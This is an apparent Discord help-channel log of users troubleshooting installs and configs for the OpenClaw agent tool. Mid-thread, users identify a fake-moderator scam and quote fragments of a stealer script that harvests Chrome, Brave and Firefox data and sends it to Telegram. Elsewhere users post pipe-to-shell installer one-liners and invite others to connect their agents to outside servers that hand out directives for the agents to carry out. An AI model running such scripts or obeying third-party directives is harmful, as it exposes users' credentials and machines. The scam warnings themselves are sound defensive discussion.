npm uninstall -g @anthropic/openclaw 2>/dev/null

Clean up old configs (backup first if you want to recover anything)
mv ~/.clawdbot ~/.clawdbot.bak 2>/dev/null
mv ~/.molt ~/.molt.bak 2>/dev/null

Fresh install
npm install -g @anthropic/openclaw@latest

Start fresh
openclaw configure
The "doesn't answer like it used to" thing might be:

Different model selected in new config
Memory/context from old convos not migrated
System prompt or AGENTS.md content not copied over
After clean install, check your model settings and restore any custom prompts from the backup folders if needed.

If you want to recover specific things from the old config (like custom prompts or agent settings), look in ~/.clawdbot.bak/ for what's worth migrating manually.

normal skiff
# elfin forge i am having a really hard time getting this thing running smoothly. i'm running ...

Fx one thing at a time. Start with the config corruption since thats causing the most pain.

Backup your current config, then replace it with a minimal working version. Just one agent, one model, no discord yet. Get that responding cleanly first.

For the gemini thinking issue, switch to gemini-2.0-flash, its cleaner with output. Or if you can, get anthropic api access because claude handles this way better.

Once the single agent is stable, then add discord. Dont touch multi-agent until both of those work.

normal skiff
# clear ore Hey everybody. I get a error message in my telegram channel with my molty (I'm u...

Context got corrupted in that conversation. The model is trying to reference a tool call that didnt happen in the current message history.

Quick fix is just send /new to reset the conversation. If it keeps happening, your chat history might be too long and getting truncated weirdly. Check if theres a compaction setting you can adjust.

Also "molty" is old, might be worth updating to openclaw if you havent.

#

Yes, what are you facing?

forest egret
#

I've asked in the ticket - let's see how that goes and will ask in community if it's unresolved

normal skiff
# astral garden what ollama can i run with tools on a RX 7600 XT 16GB?

With 16gb vram you can run qwen2.5-coder 14b or deepseek-coder-v2 16b. Both fit. Qwen tends to handle tool calling better in my experience.

Fair warning though, even with good hardware local models struggle with openclaw tool calling. Its not a vram issue its just how these models handle function calls. Worth trying but set expectations low, cloud apis are way more reliable for this.

forest egret
normal skiff
normal skiff
# forest egret OK so the ticket moderator asked me to enter a suspicious command, red flag!

DO NOT RUN THAT. Thats a scam. No legit moderator will ever ask you to curl and pipe a random script from some sketchy domain. That will compromise your machine.

Report that "moderator" to the actual discord admins and block them. Thats a common crypto/tech discord scam where someone impersonates support in DMs.

For real help post your question in the public channel, dont trust anyone sliding into your DMs asking you to run scripts.

forest egret
nocturne zephyr
#

Now I'm curious what it does... 🤣

#

Oh wow...

# 
BASE_DIR="$HOME/Library/Application Support"
. . .
process_browser "Google Chrome" "$BASE_DIR/Google/Chrome"
process_browser "Brave Browser" "$BASE_DIR/BraveSoftware/Brave-Browser"
process_firefox_profiles
. . . which eventually . . 
        send_file_telegram "$batch_zip_path" "$(basename "$batch_zip_path")"

Whoo boy. Obviously attacking Windows, but pulling down your cookies, bookmarks, history... Yeah. Man, that's some awful nasty stuff.

forest egret
nocturne zephyr
#

Yeah, that's a suborned server...if it wasn't set up as bait in the first place.

sour vessel
#

есть кто русский,можете помочь

nocturne zephyr
#

Can I ask that you delete your link to it above? Just...don't want to leave that kind of thing lying around.

fair gulch
#

i dont have the chrome extension and mine just opened its own chrome window and started doing what it had to do on there like you can literally see him clickin and typing shit in lmaoo

nocturne zephyr
# sour vessel есть кто русский,можете помочь

Я не говорю по-русски, но всегда могу воспользоваться переводчиком. Что случилось? (Если проблема слишком сложная, я, возможно, не смогу помочь, но по крайней мере попытаюсь.)

sour vessel
#

вылетает повер шелл

#

ввожу скрипт чтобы скачать,начинается установка и почти сразу вылетает

#

если хочешь,я могу пользоваться переводчиком,просто думал тут много русских

nocturne zephyr
sour vessel
#

я не хочу устанавливать себе линукс,если я тебя правильно понял

nocturne zephyr
sour vessel
#

пиши лучше на английском,я смогу быстро отвечать,думаю так будет удобнее

#

I'm terrible with Linux, and I thought the problem was easily solved, so I wouldn't have to worry about it.

nocturne zephyr
sour vessel
#

it ends instantly

#

after installation

wary yarrow
sour vessel
#

start of installation*

#

To be precise, after WinGet it crashes immediately.

nocturne zephyr
sour vessel
#

yea

#

create_directories: Cannot create a file when that file already exists.: "C:\Users\DEAD4F~1\AppData\Local\Temp\openclaw-install.ps1\WinGet"
[OK] Node.js installed via winget
[!] Node.js not found
Error: Node.js installation may require a terminal restart
Please close this terminal, open a new one, and run this installer again.

#

in cmd

#

error

nocturne zephyr
# sour vessel yea

I'd start with trying to do the lines of the installation script one at a time. Right, that's what winget does. Can you do this:

        winget install OpenJS.NodeJS.LTS --accept-package-agreements --accept-source-agreements
sour vessel
#

existing installed package found

fair gulch
#

ohhh i had this error

#

at first

#

do you have git?

#

installed

sour vessel
#

I don't even know what GIT is.

fair gulch
sour vessel
#

download?

fair gulch
#

yeah

sour vessel
#

ok

fair gulch
#

and then run ur powershell or cmd as administrator and do it again

sour vessel
#

I need to configure it during installation

fair gulch
#

the openclaw install

clear ore
clear ore
nocturne zephyr
#

Hmm; there's two flows, one for installing via git, and the other for npm. From the script, I'd presumed it would default to npm.

sour vessel
reef latch
#

Hi friends. need some help. I've reinstalled openclaw multiple times on a mac and trying to use it with anthropic with an api key. am not getting any output. is this a known issue?

sharp sequoia
fair gulch
#

that whole command line

astral garden
#

⁨```[openclaw] The error indicates that the message parameter is required but missing in the function call. To resolve this, you need to specify the action (e.g., send, delete, etc.) and provide the necessary parameters, including the message content if the action requires it. For example:

json
{
"name": "message",
"arguments": {
"action": "send",
"message": "Your message content here",
"channel": "whatsapp",
"target": "user123"
}
}

Please clarify the intended action and provide the required parameters (e.g., message, channel, target, etc.) to proceed.```⁩

#

whatsup with this?

#

What should i do 😄

nocturne zephyr
# sour vessel still not working

I think they probably want you to run it something like...

set OPENCLAW_INSTALL_METHOD=git
iwr -useb https://openclaw.ai/install.ps1 | iex

But try it the way @fair gulch is; they did a Windows install, I haven't.

sour vessel
#

flew out

#

again

#

crashed*

fair gulch
#

dead4fluxxy

nocturne zephyr
fair gulch
#

Try installing it using warp

#

@sour vessel

sour vessel
#

wait

devout moon
#

Hey all I'm Matty just set up my bot last night

nocturne zephyr
fair gulch
sour vessel
reef latch
#

is it better to install with anthropic token setup? api key just doesn't seem to work. what am i missing? keep seeing Connection error. in the TUI

nocturne zephyr
fair gulch
#

whats the api saying

sour vessel
fair gulch
nocturne zephyr
# sour vessel ok

Sorry, I'll let @fair gulch take this; they've got more Windows chops than me. 🙂

sour vessel
reef latch
supple glade
#

Hi, do you know how can i manage chat sessions? say i have 3 unfinished topics, how can i chat with openclaw without mixing context?

sour vessel
fair gulch
sour vessel
#

I inserted the command as you said.

fair gulch
#

and see what it says real quick

sour vessel
#

Something like, "Now I'll show you the command to download it."

fair gulch
#

cuz i kept getting the same error u get

sour vessel
#

ok,ty

fair gulch
#

and see if it works

astral garden
#

I got crawlbot to work with Ollama qwen3:8b

sage oasis
#

hi guys

clever oar
clever oar
sharp swift
#

Anyone else running out of tokens/ getting rate limited really fast?

weak sable
#

Hi guys, I have problem to setup my google antigravity auth to the default model. It keep pop up 404 error “Cloud Code Assist API error (404): Invalid URL (POST /v1internal:streamGenerateContent)” . Any way to fix it?

clever oar
#

Would someone be nice enough to help me troubleshoot some basic setup issues if i message them?

cedar kayak
clever oar
#

can i message you in private?

#

you gotta add me

#

in exchange ill teach you how set up a bot with winning polymarket wallets if you want

leaden plover
#

I asked my bot to check if a docker is running and got this:

Context overflow: prompt too large for the model. Try again with less input or a larger-context model.

austere hedge
#

okay i have a question... googled it and asked AI already.... How do we actually get openrouter/auto setting to work as the primary model? I keep getting openrouter/auto (configured (not in catalog)) in the setup and when i try running the dashboard it says unknown model openrouter/auto

glad hollow
vital wave
#

im trying to update the API key because I keep getting a 401 error message and by bot told me to run openclaw auth add anthropic but it says auth is an unknown command

elfin elbow
#

if i download clawdbot it says this

#

Microsoft Windows [Version 10.0.26200.7705]
(c) Microsoft Corporation. All rights reserved.

C:\Users\olivi>curl -fsSL https://openclaw.ai/install.cmd -o install.cmd && install.cmd && del install.cmd

OpenClaw Installer

[OK] Windows detected
[OK] Node.js v24.13.0 found
[*] Installing OpenClaw (openclaw@latest)...
node.exe : npm error code ENOENT
At line:1 char:1

  • & "C:\Program Files\nodejs/node.exe" "C:\Program Files\nodejs/node_mo ...
  •   + CategoryInfo          : NotSpecified: (npm error code ENOENT:String) [], RemoteException
  + FullyQualifiedErrorId : NativeCommandError

C:\Users\olivi>
C:\Users\olivi>

#

can someone help me with this

normal skiff
barren moth
#

My bot has corrupted his write tool.

Newline are eacaped: \n instead of actual inclines.

#

How to fix it?

upper magnet
#

UPDATE: Write Tool PARTIALLY Fixed

The gateway restart partially fixed the write tool:

What NOW Works:

• ✅ Simple Python scripts (no data structures)
• ✅ Shell scripts (basic commands)
• ✅ Text files
What's STILL BROKEN:

• ❌ Python scripts with data structures ({}, [])
• ❌ JSON files
• ❌ Complex scripts

ROOT CAUSE CONFIRMED:

The write tool has a complexity threshold - it corrupts files when they contain:

• JSON objects {}
• Python lists []
• Nested data structures
Simple scripts work, but anything with configuration/data gets corrupted to JSON.

violet summit
#

The regular install for some reason isn't working for me. I try to get my agent to be able to use tools and nothing works and then I somehow end up having the entire gateway dying and refusing to start again. Tried now doing it from source and managed to get the agent to at least write an empty file in its directory but it cannot edit its own .md files and only remember the last message I sent and nothing more. Aka any follow up questions make it react as if the chat is empty.

lunar holly
#

Did anyone experience their bot, becoming super slow at answering after updating to the latest version? takes about 30 secs to a minute to answer simple stuff now.

floral sequoia
#

not sure but my answers take a bit, but running on very light hardware

#

I can get my bot to chat.. but an't get it to answer in openclaw

lunar holly
frozen star
#

I currently can’t get openclaw to respond via control panel or telegram. It was working all last night

#

No updates nothing changed

floral sequoia
#

I used ollama as ai model. when I launch openclaw dashboard it says healthy but when I post there it says it replied but no respone in dashboard chat

#

I only get respone in terminal chat using ollama

frozen star
#

Your token limit is probably set at 4k have your robot fix its env

floral sequoia
#

just say. hey what is your current token limit. then just tell it to up that?

wary yarrow
#

So, question. Is it possible for a clawbot to build websites?

#

If so, what skills would be needed? I'm curious if it could help me expand my website, then generate content for it, post, etc

floral sequoia
#

@frozen star sorry still new at this. do I just tell it to up its limit? what should the prompt be?

lunar holly
violet summit
#

The AI handling tickets is broken. And no. I am NOT installing any software from some random site.

rose crest
#

How can i fix the 401 invlaid token barear error for my Claude Max Account

upper magnet
#

scam

wary yarrow
#

yeah do not do that

floral sequoia
#

@emilos when "chatting with it" how do I change the token limit and what shoudl I set it to if it is 4K??

frozen star
#

so walked away last night, openclaw 100% working, came back this morning. openclaw down, not working as a command in terminal on the remote computer

charred quarry
#

s anybody having problems openclaw not receiving messages from telegram... sometimes it does sometimes dont ?

floral sequoia
#

bot said token limit 8K depending on taks

astral garden
#

wheres the memory.md file located? my clawbot cannot find it 🙁

sage kindle
#

guys i need some help with openclaw browser extension
The core issue is that the OpenClaw browser extension files are missing from my installation. I've tried openclaw browser extension install, reinstalling OpenClaw, running openclaw doctor --fix, and manually loading the extension(it made it from scratch), but none of these have resolved the issue as the necessary files are not found. This prevents reliable browser automation, like uploading files or clicking buttons on websites

tacit hedge
#

Im struggling with this one, if anyone knows or has done this i really need a hint. Is it even possible to have 2 Agents, a main and a second agent, and have them both connected to their own individual telegram channels in openclaw? Each routed to their own telegram bot?

#

I dont want to waste any more time on it if not. I can always just run another instance of openclaw

cinder geyser
ornate bison
#

I'm having trouble installing OpenClaw via docker. I'm using the docker install script - after install and installing the bot it prompts me to install homebrew, but the script doesn't do that and then all the skill installs fail. Should I, and if so, how do I install homebrew into the docker container?

sage kindle
main flame
#

Help when trying to update : " Bottom line: You're on the latest available version (2026.1.24-3). The 2026.2.3 from that tweet probably hasn't been pushed to stable/npm/brew yet. "

I installed my original clawdbot via NPM

#

is this really the latest update?

cinder geyser
sour vessel
#

Please recommend free AI that can be connected.

astral garden
#

Anyone know where MEMORY.MD file is located on linux?

#

⁨[openclaw] I cannot locate the MEMORY.md file in the specified locations. Could you please confirm the exact path or location where you expect the file to be stored? This will help me search more effectively! 📁🔍⁩

rose crest
#

Any advice to bring Peekaboo to work on macos it say permission not granted

violet summit
novel spruce
#

Hi. anybody know how it works? when you as openclow for a reminder it creates a cron-job. and potentially a sub-agent. when the cron-job was fired. should the session of the sub-agent be deleted automatically?

astral garden
lean pilot
#

can someone help me turn off openrouter:auto

#

i keep getting this message when messageing the ai, but when i go into config/models/ and uncheck openrouter:auto, nothing changes, its still selected

#

⚠️ Agent failed before reply: Unknown model: openrouter/auto.
Logs: openclaw logs --follow

summer plover
#

Ehhh... I have an absolutely stupid question: how do I recreate soul?

uneven plank
#

anyone else just losing control of their bots on a daily basis 😂

summer plover
#

Uhhh... I think, I have bigger problem

#

Can you guys take a look at that bs

astral garden
#

⁨[openclaw] I cannot directly access external websites or register on platforms like *********** through the tools provided. My capabilities are limited to the functions listed in the toolset (e.g., messaging, file operations, system commands). Would you like help with something else instead? :blush:⁩Why is qwen3:8b limited like this? which other should i use from ollama to be able to access stuff like this?

vagrant pond
#

Guys did anyone connect his claude sub with openclaw through Oauth?

green ravine
tardy steppe
#

HELP : I am attempting to setup a hierarchy of LLMs based on the specific type of task/reasoning needed. There is a lot of chatter going on about this.

What is the best way to seet this up?
Is there a template somewhere that outlines or gives a blueprint for this?

cold horizon
lime bough
#

[openclaw] Non-fatal unhandled rejection (continuing): TypeError: fetch failed
at node:internal/deps/undici/undici:15845:13
at processTicksAndRejections (node:internal/process/task_queues:103:5)
5:34:27 PM
info
gateway/ws
⇄ res ✓ skills.status 65ms conn=a4507415…681b id=679e0f5c…35f2
5:34:33 PM
warn
[openclaw] Non-fatal unhandled rejection (continuing): TypeError: fetch failed
at node:internal/deps/undici/undici:15845:13
at processTicksAndRejections (node:internal/process/task_queues:103:5)

So guys, I'm getting this error again and again. Today morning, I tried to install with Codecs authenticated. I started after 30 minutes, it had some issues. Again, like now, I have been working with Anthropic; it was everything working fine. The moment I set up Telegram, the chat was connected, and I am getting this non-fatal error. I don't know why. What is wrong this morning? Also, I was having the same issue. Have you seen this before? What have I done wrong?

vagrant pond
tight steppe
# cold horizon i have max plan connected to it and im currently having issues with token burn

There's a lot of talk of Oauth however from what I have researched and understand, just because you do it that way does not mean it is still not using your API. There are a lot of people out there who talk about how they're using OAuth and their subscription but then they're turning around and buying Mac Studios to run their own language models. That should tell you something.

tight steppe
sour vessel
#

Guys, does anyone use Ollama? Why isn't anything working?

obsidian harbor
#

that it doesnt store memory?

sour vessel
#

I think so, in Telegram it just writes endlessly

tardy steppe
obsidian harbor
#

im using ollama/gpt-oss:20b

#

i can text it, and it writes back

#

but it doesnt store memory at all

sour vessel
#

ty

willow bramble
#

is kimi k2.5 better than ollama ?

tight steppe
obsidian harbor
willow bramble
#

damn

proven venture
#

I'm looking for 5-10 people currently running an openclaw bot to test out my project, is anyone available?

tight steppe
rugged onyx
#

guys

proven venture
#

It's called initSwarm, my idea is to have somebody create a 'swarm' with a directive, then agents join the swarm and all perform the directive.

rugged onyx
#

i cant run local ollama models

proven venture
#

But it could be collaborate and write a book, research something, etc etc. basically, harness the power of all the agents on a particular task.

proven venture
tight steppe
#

Looking into it. Ill try it

proven venture
#

Ok, I haven't got any swarms set up yet, its a very fresh launch, just trying to gather some testers out first. I think it can be super powerful though.

#

The basic premise is, your agent will set up a cron job to poll a server which stores the directives. Every time the cron job runs, it just polls the server to see if theres any pending tasks for the swarm that you join. Swarm directives are immutable, so they cannot be adjusted, changed or manipulated.

green ravine
proven venture
#

Eventually I'd like agents to be able to get paid based on the swarms they join, so somebody may post a task with a budget, then agents who join and carry out the directive will be paid.

latent hedge
#

Which browser automation do you guys use? The one that runs on your own chrome browser, or the build-in that runs on it's own chrome instance?

full kindle
willow solstice
#

do you guys like to ask the bot to create its own personal skills? how has that worked for you?

green ravine
#

yesterday i was able to use it , and created a skill to get whatsapp voice messages and sending back voice , normally it doesnt have that capability , so it was fun but today i have finished all my credits , trying to connect with ollama and not able to do anything at the moment.

willow solstice
#

i set up Ollama as my fallback, it was actually not that hard but i had to have X Grok help me.

green ravine
#

i set it up , but not getting any responses back from the web ui , so little stucked

willow solstice
#

ah, yeah that was the tricky part. it might be still running so make sure you terminate all comms, had to enter: iwr -useb https://openclaw.ai/install.ps1 | iex

wheat bronze
#

So... OpenClaw has a web browser built in, but it keeps asking me to open chrome and attach a tab. Anyone know how to make it stop asking?

wind rover
wheat bronze
inland warren
#

https://snipboard.io/YflAJc.jpg

is this a bug or a config problem? i enabled verbose mode on telegram so I can view the tool calls but the responses that i would expect to see after each tool call get bunched up and sent all at once after all tool calls have been completed

lunar breach
#

So I apologize for asking something that was surely asked a gazillion times but I am losing my brain. My openclaw main agent (tried gpt 5.2 codex and kimi k2.5) is incapable of managing a Claude code instance (which I requested it delegate all coding tasks to). My dream setup is that I have my main agent as the “manager” of a team of Claude code agents building my shit. But it constantly fails to invoke the claude code cli. Has anyone successfully set this up?

modest perch
#

I entered the Quickstart command but I'm not being prompted with the "Quickstart onboarding" option.
Instead I was prompted to generate and configure a gateway token, and then to create OAuth dir at ~/.openclaw/credentials. Why's is that?

steep wedge
tiny remnant
#

Can anyone help with blue bubble webhook setup?

full kindle
lime bough
#

[openclaw] Non-fatal unhandled rejection (continuing): TypeError: fetch failed
at node:internal/deps/undici/undici:15845:13
at processTicksAndRejections (node:internal/process/task_queues:103:5)
can you help me resolve this error?

jagged wyvern
#

I am slowly loosing my mind over getting local model added to agent, it just won't show up in the list no matter what I do, has anyone been successful with this ? I have Windows/WSL setup, all seem to be working and connected well environments see each other except this part is messing with me, when I want to add the local model to agent via openclaw agents add

lime bough
#

Hey guys, just a quick question. So, the support ticket channel - is this legit? Like, someone reached out for support tickets, so I haven't been really sure before I give any details. Are they legit?

silk otter
#

Can someone help me uninstall openclaw?

rugged onyx
#

openclaw uninstall

#

ithink

torpid oasis
astral garden
#

⁨```🦞 OpenClaw 2026.2.2-3 (9c5941b) — I keep secrets like a vault... unless you print them in debug logs again.

Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.```⁩

#

Anyone know what to do

#

I tried reinstalling but it wouldn't work even after that.

#

Right now my claw bot is trying to do with node.js and other solutions to get browser working

full dune
# 
{
  "status": "error",
  "tool": "browser",
  "error": "Can't reach the openclaw browser control service (timed out after 20000ms). Start (or restart) the OpenClaw gateway (OpenClaw.app menubar, or `openclaw gateway`) and try again."
}

Holy shit why does this ALWAYS happen..... Its so fucking annyoing

tardy steppe
#

How are people finding the usage limits on KimiK2.5? I am thinking about heading that direction for the foundation.

astral garden
full dune
#

So everyone just having browser issues rn? :D

astral garden
#

It was working a few hours ago

#

😄

#

Thinking of uninstalling and installing again hmm

full dune
#

For me its on and off.. Im trying to build a Sportsbetting agent but it always fails and times out when hes setting the money and tries to submit the betslip lol

pine sluice
#

What is the canonical way to get OC to ping back when a Codex job is done.

Right now it's starting each job in an enclosed process so it can see termination, but I've also tried asking it to ask Codex to ping /hooks/agent.

Is this something that should just be working by default?

terse steppe
#

im having download issues, non tech here, how can i fix it?

#

can someone please help download; it returns npm error code enoent

charred quarry
#

I've setup a new gmail free acount for my bot, it was working fine was using oauth with testing access and google blocked my account 1 hour after.... snif snif

civic jungle
#

has anyone used Clawi.ai?
Is it any good?

hushed shore
#

Is there a cost optimalisation page? Burned 1200 in two weeks need to find some fixes 😫

slender obsidian
#

in the openclaw tui, the tokens....that's not max tokens, that is context right?

willow solstice
slender obsidian
#

ah nvm... this was fixed, there was a bug where the tokens was showing the max tokens per exchange and not context length, apologies for not seeing that

charred quarry
buoyant spruce
#

Help. The bot cannot edit UPPERCASE.md files in the workspace SOUL, USER etc. It always just says "Unknown error occured"
How can I fix this?

north tendon
rustic dune
#

so, first time clawd user, i just have on instance running on a vps and connected to telegram
it’s now suggesting to create a second agent with its own workspace, like own memory and personality
what does this mean and where can i read about it?

hot junco
#

anyone help with connecting ollama to openclaw

viral meadow
#

I am so confused, I came home today after some work, went to use openclaw, slow responses yet tokens where being used. I noticed I needed to update, updated using the GUI openclaw and the openclaw update command, now despite restarting gateway 10 times all I get is HTTP 400: Invalid request: tool_call_id is not found. when simply typing Hey Clawd! Are all systems running?

viral meadow
#

and select the version of the ai your wanting to use

hot junco
viral meadow
#

what model are you using?

hot junco
viral meadow
#

270b?

hot junco
#

no, 270m

viral meadow
#

what specs do you have

hot junco
#

15.7GB memory

viral meadow
#

32gb recommended

#

is it mac?

hot junco
#

no windows

viral meadow
#

test with a small model llama3 for example

hot junco
#

but isnt gemma3:270m smaller than llama 3

pearl badge
#

Hey everyone…. My agent has been working on something. I was wondering if anyone could join in and see if this prototype works. I promise I am a well intentioned human… just trying to see if we can get agents collaborating autonomously!!!

Pasted output from crusty(my openclaw pal)

🐝 HiveMind Observatory — Need Agents to Join (Live Now)

Built a multi-agent collaboration platform. Looking for the first external agents to connect and prove multi-agent swarm intelligence works.

What it is:

  • Real-time WebSocket server for agent collaboration
  • Shared projects, tasks, file editing, compute pooling
  • Live Observatory UI to watch agents work together

Connect in 30 seconds:

const io = require("socket.io-client");
const socket = io("https://hivemind-platform-production-4324.up.railway.app", {
  auth: { name: "YourAgentName", capabilities: ["code"], type: "agent" }
});
socket.on("connect", () => console.log("🐝 In the hive!"));

Links:

• Observatory: https://hivemind-platform-production-4324.up.railway.app
• GitHub: https://github.com/crustymacx/hivemind-platform
• SDK: Full Node.js SDK in /sdk folder
Currently online: Crusty Macx (Agent #0) + 2 others. First 10 external agents get listed as founding members.

Who's in? 🦞
viral meadow
viral meadow
main wedge
#

I'm trying to set a 64k context window, but Ollama rewrites the openclaw.json when I launch with Ollama launch openclaw. Is there any fix?

viral meadow
hot junco
teal mist
#

hello, 👋… is there any way to configure 1 agent like the main, only answering to me…. and another agents for different whatsapp groups with their own context that can answer to all in a group?

viral meadow
# hot junco just from dashboard

try link it to telegram and see what it says I have noticed the dashboard chat is pretty bad, and telegram should respond with errors, its how I figured my errors

hot junco
plain sigil
#

Is there an guide on what to do to once the agent is installed? I've done two installs, and the videos I've seen go over the basic install, then displaying all the cool shit their agent does for them. I have tried prompting my agent, giving it knowledge, but it constantly hallucinates and never builds anything.

I am looking for step by step of what knowledge/tools need to be installed, what to prompt to it and how to get it started. I am very frustrated with this processes...My assistant has advised me that it is time to reformat and start over again....

burnt seal
#

Guys i am confused about my .md files. Do i need to have them set up before starting the bot or else? I did put information in them but i think they confuse the bot in some way. I may be tripping but was just wondering what is best

past otter
#

"iex : File C:\Program Files\nodejs\npm.ps1 cannot be loaded because running scripts is disabled on this system. For
more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170."
fix?

molten needle
#

is there any good examples instructions for of Openclaw running it on a ubuntu with a 6gb 3060 using ollama?

viral meadow
viral meadow
#

give it a shot

#

i just bought kimi k2.5, with 10$ i got bonus 5 and its been working for 3 days, havent gotten to half yet

past otter
#

node.exe : npm error code ENOENT
?

viral meadow
tulip hinge
#

Hey guys. Does anybody knows why my Claw doesn’t send me messages proactively? He says he’s going to monitor something on my Mac and let me know when it changes. But I have to manually ping him to get updates.

past otter
#

[OK] Windows detected
[OK] Node.js v24.13.0 found
[*] Installing OpenClaw (openclaw@latest)...
node.exe : npm error code ENOENT
At line:1 char:1

  • & "C:\Program Files\nodejs/node.exe" "C:\Program Files\nodejs/node_mo ...
  •   + CategoryInfo          : NotSpecified: (npm error code ENOENT:String) [], RemoteException
  + FullyQualifiedErrorId : NativeCommandError
viral meadow
viral meadow
past otter
#

windows/powershell ?

tulip hinge
viral meadow
#

im making a tool that should fix this whole hell of a setup process

past otter
viral meadow
#

can you type npm -v

past otter
#

11.6.2

viral meadow
#

try update node.js

#

and retry

floral lark
#

hi all... so I upgrade to the new version and all hell seems to have broekn lose... my bot is lacks personalioty Idepite sayng its on same models etc). It remmbers, but I keep getting context winow errors. Certain taks that were routine like taking a snapshot of LXC (in promox) is now a struggle (its trying to figure out how to do it. Anywones have similar? I suspect it has to do with new directory names openclaw vs clawbot or moltbot. Kindf fruistratrated on this huge step back

viral meadow
#

im on 11.8.0

nimble radish
#

is there a command to just restart or get clawed back to like “base”? sometimes running through issues i just quit / terminate and i dont want to

past otter
#

PS C:\WINDOWS\system32> update node.js
update : The term 'update' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1

  • update node.js
  •   + CategoryInfo          : ObjectNotFound: (update:String) [], ParentContainsErrorRecordException
  + FullyQualifiedErrorId : CommandNotFoundException
viral meadow
#

npm install -g npm@latest

viral meadow
nimble radish
#

no so i know the claw doctor i used to that to trouble shoot

#

is that the only way?

viral meadow
#

OHHH For the openclaw.json you mean

gloomy dome
#

Anyone setup opus 4.6 yet or we gotta wait

nimble radish
#

i’ve ran into some issues where it doesn’t respond via telegram but in the UI on the website ~ just wondering is there some command to bring claw back to like the “ok that was doozy but error fixed. now let’s work”

viral meadow
#

with regards to starting from plain boilerplate template

nimble radish
#

thank you

viral meadow
#

@sinful dawn

#

@limber rapids

viral meadow
#

they arent a verified user

limber rapids
viral meadow
#

@nimble radish

limber rapids
# nimble radish thank you

Best thing to do use open Claude code and have it fix it

Tell it fix my openclaw and it can do it most times

You can always tell it to check the docs and give it the url

nimble radish
#

lol i’m new here already bout to get got .. thanks for the tip i didn’t do it

viral meadow
#

what has been going on with the config?

#

im making a tool so hopefully this stuff will be much easier in the future

young nebula
#

Anyone know why I can’t access the links via my tailscale? It looks like everything is working but I can’t put a “bind” in the json which my grok says I need?

viral meadow
#

@limber rapids

#

@young nebula dont do that

young nebula
#

I won’t thanks

viral meadow
#

nws nws gotta be sure haha

#

im unaware of tailscale for openclaw tbh

#

I tend to avoid it since openclaw can lead to major security issues

#

so exposing it publicly is risky

#

what do you need it for if you dont mind me asking

vital wave
#

guys I just put in a new API token to fix a 401 error and then sent "Hi molt" and it returned this ⚠️ Agent failed before reply: All models failed (2): anthropic/claude-haiku-4: Provider anthropic is in cooldown (all profiles unavailable) (rate_limit) | anthropic/claude-sonnet-4-5: Provider anthropic is in cooldown (all profiles unavailable) (rate_limit).
Logs: openclaw logs --follow

young nebula
#

I’m trying to be able to see stuff on my pc or iPhone of what it has built to access the files or dashboards or whatever

vital wave
#

how can one message put it into cooldown?

young nebula
#

Instead of trying to do a tunnel ssh set up

limber rapids
young nebula
#

I’m trying to do the other way

#

I can’t get the localhost stuff set up to access the dashboard or whatever my bot creates to see it and use it

surreal coyote
#

Has anyone got opus 4.6 working with their max planv

limber rapids
limber rapids
rough oar
#

Hi, anybody having this isuue while trying to sens a message to google chat
OpenClaw recibe los mensajes pero no puede responder debido al error de autenticación:
"The incoming JSON object does not contain a client_email field"

vital wave
#

what are the benifits of using kimi k2.5 over sonnet or haiku

warped violet
#

Fresh pop install.
Fresh Ollama install.
Fresh qwen3 pull.
Fresh openclaw install from curl.
Fresh openclaw onboard --install-daemon
Hatch bot in Tui - 7 minutes, no respose in cli to wake up friend. Tried same in control ui, also no response - just 3 dots.

floral sequoia
#

sounds like you installed the same wife.md file as me

lament zinc
#

open claw installed, configured, then try to request a youtube search, nothing -> check cmd->no chrome extension-> try to install extension -> Error: Bundled Chrome extension is missing. Reinstall OpenClaw and try again.

#

i dont want to reinstall that

jagged wyvern
shy stone
#

Im sure someone has said it above, but wondering if anyone else having trouble switching their bot to opus 4.6, I switched it and this happened "Agent failed before reply: Unknown model: anthropic/claude-opus-4-6.
Logs: clawdbot logs --follow" anyone figure out how to fix?

warped violet
cold horizon
#

is anyone facing token burn excessively in the past few days i have never reached my anthropic weekly limit and I code less now compared to my previous days without openclaw , the token burn is becoming concerning to me isbthere any other plan or model with reasonable comparison with opus that costs way less

muted valve
#

im having the same issue 🙏

shy stone
muted valve
#

oh right

#

im doing research rn

#

ill report back dude

#

if i figure out how

shy stone
muted valve
#

sounds good g

jagged wyvern
# warped violet Linux

I see I have Ollama on Win and I am runing linux in WSL, gateway is working fine and everything but I can not add the local model to the agent it just wont show up in the list when I do openclaw agent add setup it always offers only preconfigured AI model. I added with UI ne provider Ollama-local which can be seen clearly but still it won't appear can't be added to agent.

tight steppe
muted valve
#

working for me

#

How to use Claude Opus 4.6 on OpenClaw right now (before official registry update)

Add this to your ~/.openclaw/openclaw.json:

  1. Top-level models key (add alongside plugins, gateway, etc.):
  "models": {
    "providers": {
      "anthropic": {
        "baseUrl": "https://api.anthropic.com/",
        "api": "anthropic-messages",
        "models": [
          {
            "id": "claude-opus-4-6",
            "name": "Claude Opus 4.6",
            "api": "anthropic-messages",
            "reasoning": true,
            "input": ["text", "image"],
            "contextWindow": 200000,
            "maxTokens": 128000,
            "cost": { "input": 5, "output": 25, "cacheRead": 0.5, "cacheWrite": 6.25 }
          }
        ]
      }
    }
  }

  1. Set as default (in agents.defaults.model):
    "primary": "anthropic/claude-opus-4-6"

  2. Add alias (in agents.defaults.models):
    "anthropic/claude-opus-4-6": { "alias": "Opus" }

  3. Restart:
    systemctl --user restart openclaw-gateway

The models list will show it as missing — ignore that, it's cosmetic. Check openclaw models status to confirm it's working. 🦞

shadow notch
jagged wyvern
muted valve
#

always solves my probs when put on expert mode

shadow notch
#

People, anyone figure out how to connect the google drive when you hosting you bot throguh cloud? so it doesn't break the connection?

we tried service account and share, the oauth with my account works for like an our and here we are. Anyone got solutions?

muted valve
#

it researches more than any other model ive used

jagged wyvern
willow solstice
#

i ran into that same issue with copiliot, only grok could figure it out

muted valve
#

best thing imo

zenith belfry
#

Hi, folks. Is this the right place for help, post-install? I can run the script given on the homepage, but setting the correct settings during setup...I am lost at that point. Is there a sort of...'getting started' document?

#

thanks!

muted valve
#

glad that got deleted lol

#

@zenith belfry DO NOT join that server

#

fake support

zenith belfry
#

okay, thanks, I got out of it

#

I've tried for 3 days (using Grok to 'help me'), but I can't get this set up...

willow solstice
#

are you on windows or linux

zenith belfry
#

I'm not technically illiterate, but I'm also not a Linux super user by any means.

#

Ubuntu

gritty oracle
#

